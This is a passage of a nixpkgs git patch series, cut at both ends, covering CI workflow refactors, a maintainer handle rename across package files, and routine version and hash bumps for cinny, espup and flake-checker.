-              /repos/"$REPOSITORY"/issues/"$NUMBER"/labels \
-              -f "labels[]=$toAdd"
-          done < <(comm -13 before after)
+            // And the labels that should be there
+            const after = JSON.parse(await readFile('comparison/changed-paths.json', 'utf-8')).labels
+
+            // Remove the ones not needed anymore
+            await Promise.all(
+              before.filter(name => !after.includes(name))
+              .map(name => github.rest.issues.removeLabel({
+                ...pr,
+                name
+              }))
+            )
+
+            // And add the ones that aren't set already
+            const added = after.filter(name => !before.includes(name))
+            if (added.length > 0) {
+              await github.rest.issues.addLabels({
+                ...pr,
+                labels: added
+              })
+            }
 
       - name: Add eval summary to commit statuses
         if: ${{ github.event_name == 'pull_request_target' }}
-        env:
-          GH_TOKEN: ${{ github.token }}
-          PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }}
-          NUMBER: ${{ github.event.number }}
-        run: |
-          description=$(jq -r '
-          "Package: added " + (.attrdiff.added | length | tostring) +
-          ", removed " + (.attrdiff.removed | length | tostring) +
-          ", changed " + (.attrdiff.changed | length | tostring) +
-          ", Rebuild: linux " + (.rebuildCountByKernel.linux | tostring) +
-          ", darwin " + (.rebuildCountByKernel.darwin | tostring)
-          ' <comparison/changed-paths.json)
-          target_url="$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID?pr=$NUMBER"
-          gh api --method POST \
-            -H "Accept: application/vnd.github+json" -H "X-GitHub-Api-Version: 2022-11-28" \
-            "/repos/$GITHUB_REPOSITORY/statuses/$PR_HEAD_SHA" \
-            -f "context=Eval / Summary" -f "state=success" -f "description=$description" -f "target_url=$target_url"
+        uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+        with:
+          script: |
+            const { readFile } = require('node:fs/promises')
+            const changed = JSON.parse(await readFile('comparison/changed-paths.json', 'utf-8'))
+            const description =
+              'Package: ' + [
+                `added ${changed.attrdiff.added.length}`,
+                `removed ${changed.attrdiff.removed.length}`,
+                `changed ${changed.attrdiff.changed.length}`
+              ].join(', ') +
+              ' — Rebuild: ' + [
+                `linux ${changed.rebuildCountByKernel.linux}`,
+                `darwin ${changed.rebuildCountByKernel.darwin}`
+              ].join(', ')
+
+            const { serverUrl, repo, runId, payload } = context
+            const target_url =
+              `${serverUrl}/${repo.owner}/${repo.repo}/actions/runs/${runId}?pr=${payload.pull_request.number}`
+
+            await github.rest.repos.createCommitStatus({
+              owner: repo.owner,
+              repo: repo.repo,
+              sha: payload.pull_request.head.sha,
+              context: 'Eval / Summary',
+              state: 'success',
+              description,
+              target_url
+            })
 
   reviewers:
     name: Reviewers

From 3f72d383d114d1ca08bc4d4197019f9a406d0d00 Mon Sep 17 00:00:00 2001
From: alyaeanyx <alyaeanyx@mailbox.org>
Date: Sun, 1 Jun 2025 09:20:09 +0200
Subject: [PATCH 0414/4511] maintainers: rename alyaeanyx -> pentane

(cherry picked from commit bdd58823ab363a68e03afa4e169efcef48e01943)
---
 maintainers/maintainer-list.nix                   | 14 +++++++-------
 nixos/modules/services/matrix/mautrix-signal.nix  |  2 +-
 nixos/modules/services/networking/openconnect.nix |  2 +-
 nixos/modules/services/networking/wstunnel.nix    |  2 +-
 pkgs/by-name/fr/freetube/package.nix              |  2 +-
 pkgs/by-name/fr/friture/package.nix               |  2 +-
 pkgs/by-name/gl/gladtex/package.nix               |  2 +-
 pkgs/by-name/gp/gprojector/package.nix            |  2 +-
 pkgs/by-name/li/libqalculate/package.nix          |  2 +-
 pkgs/by-name/li/libsignal-ffi/package.nix         |  2 +-
 pkgs/by-name/ma/mautrix-signal/package.nix        |  2 +-
 pkgs/by-name/qa/qalculate-gtk/package.nix         |  2 +-
 pkgs/by-name/sn/snis-assets/package.nix           |  2 +-
 pkgs/by-name/sn/snis-unwrapped/package.nix        |  2 +-
 pkgs/tools/networking/openconnect/common.nix      |  2 +-
 15 files changed, 21 insertions(+), 21 deletions(-)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index ac109370a522..a59c2ea2d707 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -1331,13 +1331,6 @@
     githubId = 9567176;
     name = "Alexis Simon";
   };
-  alyaeanyx = {
-    email = "alyaeanyx@mailbox.org";
-    github = "alyaeanyx";
-    githubId = 74795488;
-    name = "alyaeanyx";
-    keys = [ { fingerprint = "1F73 8879 5E5A 3DFC E2B3 FA32 87D1 AADC D25B 8DEE"; } ];
-  };
   amadaluzia = {
     email = "amad@atl.tools";
     github = "amadaluzia";
@@ -19076,6 +19069,13 @@
     githubId = 13225611;
     name = "Nicolas Martin";
   };
+  pentane = {
+    email = "cyclopentane@aidoskyneen.eu";
+    github = "cyclic-pentane";
+    githubId = 74795488;
+    name = "pentane";
+    keys = [ { fingerprint = "4231 75F6 8360 68C8 2ACB AEDA 63F4 EC2F FE55 0874"; } ];
+  };
   perchun = {
     name = "Perchun Pak";
     email = "nixpkgs@perchun.it";
diff --git a/nixos/modules/services/matrix/mautrix-signal.nix b/nixos/modules/services/matrix/mautrix-signal.nix
index c7ef540b4f59..eca0ecdf1a9a 100644
--- a/nixos/modules/services/matrix/mautrix-signal.nix
+++ b/nixos/modules/services/matrix/mautrix-signal.nix
@@ -270,7 +270,7 @@ in
     buildDocsInSandbox = false;
     doc = ./mautrix-signal.md;
     maintainers = with lib.maintainers; [
-      alyaeanyx
+      pentane
       frederictobiasc
     ];
   };
diff --git a/nixos/modules/services/networking/openconnect.nix b/nixos/modules/services/networking/openconnect.nix
index 6660e769f48a..dacc0c9148a0 100644
--- a/nixos/modules/services/networking/openconnect.nix
+++ b/nixos/modules/services/networking/openconnect.nix
@@ -159,5 +159,5 @@ in
     }) cfg.interfaces;
   };
 
-  meta.maintainers = with maintainers; [ alyaeanyx ];
+  meta.maintainers = with maintainers; [ pentane ];
 }
diff --git a/nixos/modules/services/networking/wstunnel.nix b/nixos/modules/services/networking/wstunnel.nix
index 64e4da527f90..45375d1cf5fb 100644
--- a/nixos/modules/services/networking/wstunnel.nix
+++ b/nixos/modules/services/networking/wstunnel.nix
@@ -486,7 +486,7 @@ in
   };
 
   meta.maintainers = with lib.maintainers; [
-    alyaeanyx
+    pentane
     raylas
     rvdp
     neverbehave
diff --git a/pkgs/by-name/fr/freetube/package.nix b/pkgs/by-name/fr/freetube/package.nix
index 67bfda326e98..d20bbcb9bc10 100644
--- a/pkgs/by-name/fr/freetube/package.nix
+++ b/pkgs/by-name/fr/freetube/package.nix
@@ -106,7 +106,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     license = lib.licenses.agpl3Only;
     maintainers = with lib.maintainers; [
       ryneeverett
-      alyaeanyx
+      pentane
       ryand56
       sigmasquadron
       ddogfoodd
diff --git a/pkgs/by-name/fr/friture/package.nix b/pkgs/by-name/fr/friture/package.nix
index 9f729bda96f3..777516d458ed 100644
--- a/pkgs/by-name/fr/friture/package.nix
+++ b/pkgs/by-name/fr/friture/package.nix
@@ -68,7 +68,7 @@ python3Packages.buildPythonApplication rec {
     platforms = platforms.linux; # fails on Darwin
     maintainers = with maintainers; [
       laikq
-      alyaeanyx
+      pentane
     ];
   };
 }
diff --git a/pkgs/by-name/gl/gladtex/package.nix b/pkgs/by-name/gl/gladtex/package.nix
index 03b584e750d4..a07d744ab557 100644
--- a/pkgs/by-name/gl/gladtex/package.nix
+++ b/pkgs/by-name/gl/gladtex/package.nix
@@ -21,6 +21,6 @@ python3Packages.buildPythonPackage {
     homepage = "https://humenda.github.io/GladTeX";
     license = licenses.lgpl3Plus;
     platforms = platforms.all;
-    maintainers = with maintainers; [ alyaeanyx ];
+    maintainers = with maintainers; [ pentane ];
   };
 }
diff --git a/pkgs/by-name/gp/gprojector/package.nix b/pkgs/by-name/gp/gprojector/package.nix
index 6d51e5b7a770..2e22f61cf22a 100644
--- a/pkgs/by-name/gp/gprojector/package.nix
+++ b/pkgs/by-name/gp/gprojector/package.nix
@@ -51,7 +51,7 @@ stdenvNoCC.mkDerivation rec {
     description = "G.Projector transforms an input map image into any of about 200 global and regional map projections";
     homepage = "https://www.giss.nasa.gov/tools/gprojector/";
     sourceProvenance = with lib.sourceTypes; [ binaryBytecode ];
-    maintainers = with lib.maintainers; [ alyaeanyx ];
+    maintainers = with lib.maintainers; [ pentane ];
     license = lib.licenses.unfree;
     inherit (jre.meta) platforms;
   };
diff --git a/pkgs/by-name/li/libqalculate/package.nix b/pkgs/by-name/li/libqalculate/package.nix
index 95edb8e19d5a..1df23ea66396 100644
--- a/pkgs/by-name/li/libqalculate/package.nix
+++ b/pkgs/by-name/li/libqalculate/package.nix
@@ -84,7 +84,7 @@ stdenv.mkDerivation (finalAttrs: {
     license = licenses.gpl2Plus;
     maintainers = with maintainers; [
       doronbehar
-      alyaeanyx
+      pentane
     ];
     mainProgram = "qalc";
     platforms = platforms.all;
diff --git a/pkgs/by-name/li/libsignal-ffi/package.nix b/pkgs/by-name/li/libsignal-ffi/package.nix
index 128ba1eb1f4c..f3bbfcc1fbfb 100644
--- a/pkgs/by-name/li/libsignal-ffi/package.nix
+++ b/pkgs/by-name/li/libsignal-ffi/package.nix
@@ -51,6 +51,6 @@ rustPlatform.buildRustPackage rec {
     description = "C ABI library which exposes Signal protocol logic";
     homepage = "https://github.com/signalapp/libsignal";
     license = licenses.agpl3Plus;
-    maintainers = with maintainers; [ alyaeanyx ];
+    maintainers = with maintainers; [ pentane ];
   };
 }
diff --git a/pkgs/by-name/ma/mautrix-signal/package.nix b/pkgs/by-name/ma/mautrix-signal/package.nix
index fa6903d9ee8e..d8fce63454ed 100644
--- a/pkgs/by-name/ma/mautrix-signal/package.nix
+++ b/pkgs/by-name/ma/mautrix-signal/package.nix
@@ -67,7 +67,7 @@ buildGoModule rec {
     description = "Matrix-Signal puppeting bridge";
     license = licenses.agpl3Plus;
     maintainers = with maintainers; [
-      alyaeanyx
+      pentane
       ma27
     ];
     mainProgram = "mautrix-signal";
diff --git a/pkgs/by-name/qa/qalculate-gtk/package.nix b/pkgs/by-name/qa/qalculate-gtk/package.nix
index 81c61d202fa7..e507b9a572a3 100644
--- a/pkgs/by-name/qa/qalculate-gtk/package.nix
+++ b/pkgs/by-name/qa/qalculate-gtk/package.nix
@@ -43,7 +43,7 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "http://qalculate.github.io";
     maintainers = with maintainers; [
       doronbehar
-      alyaeanyx
+      pentane
       aleksana
     ];
     license = licenses.gpl2Plus;
diff --git a/pkgs/by-name/sn/snis-assets/package.nix b/pkgs/by-name/sn/snis-assets/package.nix
index 6fb49f5377af..7820553da77a 100644
--- a/pkgs/by-name/sn/snis-assets/package.nix
+++ b/pkgs/by-name/sn/snis-assets/package.nix
@@ -48,7 +48,7 @@ stdenv.mkDerivation {
       licenses.cc0
       licenses.publicDomain
     ];
-    maintainers = with maintainers; [ alyaeanyx ];
+    maintainers = with maintainers; [ pentane ];
     platforms = platforms.linux;
     hydraPlatforms = [ ];
   };
diff --git a/pkgs/by-name/sn/snis-unwrapped/package.nix b/pkgs/by-name/sn/snis-unwrapped/package.nix
index abf3e1fe61e2..efbb19ddc8c0 100644
--- a/pkgs/by-name/sn/snis-unwrapped/package.nix
+++ b/pkgs/by-name/sn/snis-unwrapped/package.nix
@@ -87,7 +87,7 @@ stdenv.mkDerivation (finalAttrs: {
     description = "Space Nerds In Space, a multi-player spaceship bridge simulator";
     homepage = "https://smcameron.github.io/space-nerds-in-space/";
     license = licenses.gpl2Plus;
-    maintainers = with maintainers; [ alyaeanyx ];
+    maintainers = with maintainers; [ pentane ];
     platforms = platforms.linux;
     mainProgram = "snis_launcher";
   };
diff --git a/pkgs/tools/networking/openconnect/common.nix b/pkgs/tools/networking/openconnect/common.nix
index a6520b48d858..34dbe7cf7221 100644
--- a/pkgs/tools/networking/openconnect/common.nix
+++ b/pkgs/tools/networking/openconnect/common.nix
@@ -63,7 +63,7 @@ stdenv.mkDerivation {
     maintainers = with maintainers; [
       pradeepchhetri
       tricktron
-      alyaeanyx
+      pentane
     ];
     platforms = lib.platforms.unix;
     mainProgram = "openconnect";

From 79597717c35d9ea609005903d993c6422cfc9c2f Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Sun, 18 May 2025 10:52:14 +0200
Subject: [PATCH 0415/4511] cinny-unwrapped: 4.6.0 -> 4.7.0

Release notes: https://github.com/cinnyapp/cinny/releases/tag/v4.7.0
Changelog: https://github.com/cinnyapp/cinny/compare/v4.6.0...v4.7.0

(cherry picked from commit e0c6648695f581b61f66506c1a825d1456f29bb9)
---
 pkgs/by-name/ci/cinny-unwrapped/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ci/cinny-unwrapped/package.nix b/pkgs/by-name/ci/cinny-unwrapped/package.nix
index c8a1b5da5b19..8bd7e28df524 100644
--- a/pkgs/by-name/ci/cinny-unwrapped/package.nix
+++ b/pkgs/by-name/ci/cinny-unwrapped/package.nix
@@ -13,16 +13,16 @@
 
 buildNpmPackage rec {
   pname = "cinny-unwrapped";
-  version = "4.6.0";
+  version = "4.7.0";
 
   src = fetchFromGitHub {
     owner = "cinnyapp";
     repo = "cinny";
     rev = "v${version}";
-    hash = "sha256-MyVKRWhLXxz4h2/2OtpmYrLYiZeNOMEetHwl4NklkOA=";
+    hash = "sha256-x4cRZ0XfyvRqOWIqtsVBiIPDxC3J9SUdoReiWNUB/X8=";
   };
 
-  npmDepsHash = "sha256-WNK1ke5NEbt2Gb92hEItnwu65rI/5VsbZDfTSp6aKvg=";
+  npmDepsHash = "sha256-s8dKMGwg6DL+aEq0Sk04VF1pSDpAW18Dok113xDWb8Q=";
 
   nativeBuildInputs = [
     python3

From abfd1eedf1b2f1511e0c8dbde9fb109c66880eb4 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Sun, 18 May 2025 10:53:47 +0200
Subject: [PATCH 0416/4511] cinny-desktop: 4.6.0 -> 4.7.0

Release notes: https://github.com/cinnyapp/cinny-desktop/releases/tag/v4.7.0
Changelog: https://github.com/cinnyapp/cinny-desktop/compare/v4.6.0...v4.7.0

(cherry picked from commit 0d0f642cc5494b64ab1b8ca86dd8809c6d5da8f5)
---
 pkgs/by-name/ci/cinny-desktop/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ci/cinny-desktop/package.nix b/pkgs/by-name/ci/cinny-desktop/package.nix
index c0238f2e22ad..1e316ac71015 100644
--- a/pkgs/by-name/ci/cinny-desktop/package.nix
+++ b/pkgs/by-name/ci/cinny-desktop/package.nix
@@ -18,19 +18,19 @@
 rustPlatform.buildRustPackage rec {
   pname = "cinny-desktop";
   # We have to be using the same version as cinny-web or this isn't going to work.
-  version = "4.6.0";
+  version = "4.7.0";
 
   src = fetchFromGitHub {
     owner = "cinnyapp";
     repo = "cinny-desktop";
     tag = "v${version}";
-    hash = "sha256-tSZ7qSEoLNUnMICT1oVccMY9J6uVZu8QJGJA9NK8JwU=";
+    hash = "sha256-ls0ZxXiIrjyLL0MoxOTU/RK0k323nUiQfxtlwsEL45U=";
   };
 
   sourceRoot = "${src.name}/src-tauri";
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-5rIbVYxSsjv+MvmZxviMhcfYN+jOFndvZa7PDO5DLn8=";
+  cargoHash = "sha256-NSzGB6o6BBoak2gbSOu8ucWA+R+behuTxeMnKpyA7no=";
 
   postPatch =
     let

From 0f4597cf76ca19446cb4d89b73c17470ca964bee Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sat, 24 May 2025 15:39:52 -0600
Subject: [PATCH 0417/4511] cinny-unwrapped: 4.7.0 -> 4.8.0

Release notes: https://github.com/cinnyapp/cinny/releases/tag/v4.8.0
Changelog: https://github.com/cinnyapp/cinny/compare/v4.7.0...v4.8.0

(cherry picked from commit ff217fa3c44277868f4b3a441ad0b39b0825a573)
---
 pkgs/by-name/ci/cinny-unwrapped/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ci/cinny-unwrapped/package.nix b/pkgs/by-name/ci/cinny-unwrapped/package.nix
index 8bd7e28df524..5fc3c304f7f4 100644
--- a/pkgs/by-name/ci/cinny-unwrapped/package.nix
+++ b/pkgs/by-name/ci/cinny-unwrapped/package.nix
@@ -13,16 +13,16 @@
 
 buildNpmPackage rec {
   pname = "cinny-unwrapped";
-  version = "4.7.0";
+  version = "4.8.0";
 
   src = fetchFromGitHub {
     owner = "cinnyapp";
     repo = "cinny";
-    rev = "v${version}";
-    hash = "sha256-x4cRZ0XfyvRqOWIqtsVBiIPDxC3J9SUdoReiWNUB/X8=";
+    tag = "v${version}";
+    hash = "sha256-yM+P7KXT/cspKt2l4+COoH68jCJUSs2TrfJGZHF/lYY=";
   };
 
-  npmDepsHash = "sha256-s8dKMGwg6DL+aEq0Sk04VF1pSDpAW18Dok113xDWb8Q=";
+  npmDepsHash = "sha256-RWc8nSh/HuXUokU2RZnmwYUCfBxpL9Wp1Sgi2l1CN38=";
 
   nativeBuildInputs = [
     python3

From d0fa8558bf3958fc87df701b7cfa6ad6daf8d064 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sat, 24 May 2025 15:45:16 -0600
Subject: [PATCH 0418/4511] cinny-desktop: 4.7.0 -> 4.8.0

Release notes: https://github.com/cinnyapp/cinny-desktop/releases/tag/v4.8.0
Changelog: https://github.com/cinnyapp/cinny-desktop/compare/v4.7.1...v4.8.0

(cherry picked from commit 2dff3da71d8f7d5745851eb12bb0e1f7db19e4a1)
---
 pkgs/by-name/ci/cinny-desktop/package.nix | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/ci/cinny-desktop/package.nix b/pkgs/by-name/ci/cinny-desktop/package.nix
index 1e316ac71015..861bd2dd43ef 100644
--- a/pkgs/by-name/ci/cinny-desktop/package.nix
+++ b/pkgs/by-name/ci/cinny-desktop/package.nix
@@ -15,29 +15,29 @@
   moreutils,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "cinny-desktop";
   # We have to be using the same version as cinny-web or this isn't going to work.
-  version = "4.7.0";
+  version = "4.8.0";
 
   src = fetchFromGitHub {
     owner = "cinnyapp";
     repo = "cinny-desktop";
-    tag = "v${version}";
-    hash = "sha256-ls0ZxXiIrjyLL0MoxOTU/RK0k323nUiQfxtlwsEL45U=";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-cixpsn0jMufd6VrBCsCH9t3bpkKdgi1i0qnkBlLgLG0=";
   };
 
-  sourceRoot = "${src.name}/src-tauri";
+  sourceRoot = "${finalAttrs.src.name}/src-tauri";
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-NSzGB6o6BBoak2gbSOu8ucWA+R+behuTxeMnKpyA7no=";
+  cargoHash = "sha256-twfRuoA4z+Xgyyn7aIRy6MV1ozN2+qhSLh8i+qOTa2Q=";
 
   postPatch =
     let
       cinny' =
         assert lib.assertMsg (
-          cinny.version == version
-        ) "cinny.version (${cinny.version}) != cinny-desktop.version (${version})";
+          cinny.version == finalAttrs.version
+        ) "cinny.version (${cinny.version}) != cinny-desktop.version (${finalAttrs.version})";
         cinny.override {
           conf = {
             hashRouter.enabled = true;
@@ -95,4 +95,4 @@ rustPlatform.buildRustPackage rec {
     platforms = lib.platforms.linux ++ lib.platforms.darwin;
     mainProgram = "cinny";
   };
-}
+})

From e1553ec891ad8f2a0bf6152f94d1a2bfcbf8b162 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 31 May 2025 09:35:25 +0200
Subject: [PATCH 0419/4511] workflows/manual-nixos: run on stable branches

There is no reason not to build the NixOS manual on stable branches as
well.

Also removing the restricted-eval, because it turned out not to be
necessary for the nixpkgs-manual either.

(cherry picked from commit 7f6370832b71f8299eac3279f610ed03a961ba1e)
---
 .github/workflows/manual-nixos-v2.yml | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/manual-nixos-v2.yml b/.github/workflows/manual-nixos-v2.yml
index 653a5a92fbfd..640cb605433c 100644
--- a/.github/workflows/manual-nixos-v2.yml
+++ b/.github/workflows/manual-nixos-v2.yml
@@ -7,6 +7,7 @@ on:
   pull_request_target:
     branches:
       - master
+      - release-*
     paths:
       - "nixos/**"
       # Also build when the nixpkgs doc changed, since we take things like
@@ -52,7 +53,7 @@ jobs:
 
       - name: Build NixOS manual
         id: build-manual
-        run: NIX_PATH=nixpkgs=$(pwd)/untrusted nix-build --option restrict-eval true untrusted/ci -A manual-nixos --argstr system ${{ matrix.system }}
+        run: nix-build untrusted/ci -A manual-nixos --argstr system ${{ matrix.system }}
 
       - name: Upload NixOS manual
         uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2

From ac637744a22d9fbf00bd02953e59c80c56933fb0 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 24 May 2025 22:00:41 +0000
Subject: [PATCH 0420/4511] espup: 0.15.0 -> 0.15.1

(cherry picked from commit 3fa260e3e8691a246cba0cc57a71ad09f70c989c)
---
 pkgs/by-name/es/espup/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/es/espup/package.nix b/pkgs/by-name/es/espup/package.nix
index 7b21b7297b7c..aa2abea94bd4 100644
--- a/pkgs/by-name/es/espup/package.nix
+++ b/pkgs/by-name/es/espup/package.nix
@@ -16,17 +16,17 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "espup";
-  version = "0.15.0";
+  version = "0.15.1";
 
   src = fetchFromGitHub {
     owner = "esp-rs";
     repo = "espup";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-1muyZd7jhhDkif/8mX7QZEMnV105jNMHT0RaZPinD/4=";
+    hash = "sha256-fVReUgwiR6aOdHNcXxpQ38ujgfhviU+IFRaoe/1DTRI=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-fX6nl0DZZNiH/VWR9eWMnTuBW9r1jz3IWIxbOGC4Amg=";
+  cargoHash = "sha256-P+VDXzfpYDjZQG3BOr9nLWJVqlkGI3rZcPKBnp3PDxM=";
 
   nativeBuildInputs = [
     pkg-config

From 2c4d8936f57a43d38d695495ecbf743f1a4638dd Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 24 May 2025 03:59:25 +0000
Subject: [PATCH 0421/4511] flake-checker: 0.2.5 -> 0.2.6

(cherry picked from commit cc59786aeb63a54a67ff0cf72f8ad6969d222055)
---
 pkgs/by-name/fl/flake-checker/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fl/flake-checker/package.nix b/pkgs/by-name/fl/flake-checker/package.nix
index a67fe84df8bc..51b6b98b2ac2 100644
--- a/pkgs/by-name/fl/flake-checker/package.nix
+++ b/pkgs/by-name/fl/flake-checker/package.nix
@@ -6,17 +6,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "flake-checker";
-  version = "0.2.5";
+  version = "0.2.6";
 
   src = fetchFromGitHub {
     owner = "DeterminateSystems";
     repo = "flake-checker";
     rev = "v${version}";
-    hash = "sha256-Q1nC7U4SG3VHlqbJDs5NDNmsvnYN+MGpMkOH952WaKg=";
+    hash = "sha256-qEdwtyk5IaYCx67BFnLp4iUN+ewfPMl/wjs9K4hKqGc=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-M+Ftovr1Czk9W904B2Cf9FjItKhxALZj6mT+Yewdf8U=";
+  cargoHash = "sha256-5eaVjrAPxBQdG+LQ6mQ/ZYAdslpdK3mrZ5Vbuwe3iQw=";
 
   meta = with lib; {
     description = "Health checks for your Nix flakes";

From f8340acd43826bcb32955d1274a70109ee4bcee5 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 27 May 2025 16:48:28 +0200
Subject: [PATCH 0422/4511] workflows: cancel running jobs on pull request
 updates

We can avoid running old jobs to completion, when pushing changes to a
pull request. This is done via concurrency groups. We set them on the
workflow level, with the following keys in the group name:
- `github.workflow` to only cancel / block the same workflow.
- `github.event_name` to avoid blocking between pull_request and
pull_request_target.
- `github.head_ref` which is unique for a PR, but the same when changing
it. This will cause PRs to cancel in progress jobs. Unset on pushes to
master & co.
- `github.run_id` as fallback for push events. In this case, the run_id
is unique for every push, thus *no* cancelling happens on the dev
branches.

(cherry picked from commit 6d4b1f8e3096180011f5feb4aa1b7e6a304759b2)
---
 .github/workflows/check-cherry-picks.yml | 4 ++++
 .github/workflows/check-format.yml       | 4 ++++
 .github/workflows/check-shell.yml        | 4 ++++
 .github/workflows/codeowners-v2.yml      | 4 ++++
 .github/workflows/edited.yml             | 4 ++++
 .github/workflows/eval-aliases.yml       | 4 ++++
 .github/workflows/eval.yml               | 6 ++++++
 .github/workflows/labels.yml             | 4 ++++
 .github/workflows/lib-tests.yml          | 4 ++++
 .github/workflows/manual-nixos-v2.yml    | 4 ++++
 .github/workflows/manual-nixpkgs-v2.yml  | 4 ++++
 .github/workflows/nix-parse-v2.yml       | 4 ++++
 .github/workflows/nixpkgs-vet.yml        | 4 ++++
 .github/workflows/reviewers.yml          | 9 +++++++++
 14 files changed, 63 insertions(+)

diff --git a/.github/workflows/check-cherry-picks.yml b/.github/workflows/check-cherry-picks.yml
index 84ed5604443d..b7d914caffdc 100644
--- a/.github/workflows/check-cherry-picks.yml
+++ b/.github/workflows/check-cherry-picks.yml
@@ -10,6 +10,10 @@ on:
       - 'staging-**'
       - '!staging-next'
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions:
   pull-requests: write
 
diff --git a/.github/workflows/check-format.yml b/.github/workflows/check-format.yml
index 4216c6bd1c70..0d2ed9d0b967 100644
--- a/.github/workflows/check-format.yml
+++ b/.github/workflows/check-format.yml
@@ -6,6 +6,10 @@ on:
       - .github/workflows/check-format.yml
   pull_request_target:
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions: {}
 
 jobs:
diff --git a/.github/workflows/check-shell.yml b/.github/workflows/check-shell.yml
index 014b60a492fa..b8cbe062b6a9 100644
--- a/.github/workflows/check-shell.yml
+++ b/.github/workflows/check-shell.yml
@@ -9,6 +9,10 @@ on:
       - 'shell.nix'
       - 'ci/**'
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions: {}
 
 jobs:
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index e858615c0828..5c6b0b8da4c6 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -29,6 +29,10 @@ on:
   pull_request_target:
     types: [opened, ready_for_review, synchronize, reopened]
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions: {}
 
 env:
diff --git a/.github/workflows/edited.yml b/.github/workflows/edited.yml
index b1fc5b11db84..5d93f5b8ce18 100644
--- a/.github/workflows/edited.yml
+++ b/.github/workflows/edited.yml
@@ -16,6 +16,10 @@ on:
   pull_request_target:
     types: [edited]
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions: {}
 
 jobs:
diff --git a/.github/workflows/eval-aliases.yml b/.github/workflows/eval-aliases.yml
index 892dfe79907b..2d0a156a8cdf 100644
--- a/.github/workflows/eval-aliases.yml
+++ b/.github/workflows/eval-aliases.yml
@@ -6,6 +6,10 @@ on:
       - .github/workflows/eval-aliases.yml
   pull_request_target:
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions: {}
 
 jobs:
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index b411ca213923..40a60bbfe025 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -16,6 +16,10 @@ on:
       - haskell-updates
       - python-updates
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions: {}
 
 jobs:
@@ -290,3 +294,5 @@ jobs:
     if: needs.prepare.outputs.targetSha
     uses: ./.github/workflows/reviewers.yml
     secrets: inherit
+    with:
+      caller: ${{ github.workflow }}
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 1fab6eba3977..5cdec70b62ce 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -8,6 +8,10 @@ name: "Label PR"
 on:
   pull_request_target:
 
+concurrency:
+  group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.head_ref || github.run_id }}
+  cancel-in-progress: true
+
 permissions:
   contents: read
   issues: write # needed to create *new* labels
diff --git a/.github/workflows/lib-tests.yml b/.github/workflows/lib-tests.yml
index c147d0084123..d176a76411f8 100644
--- a/.github/workflows/lib-tests.yml
+++ b/.github/workflows/lib-tests.yml
@@ -9,6 +9,10 @@ on:
       - 'lib/**'
       - 'maintainers/**'
 
+concurrency:
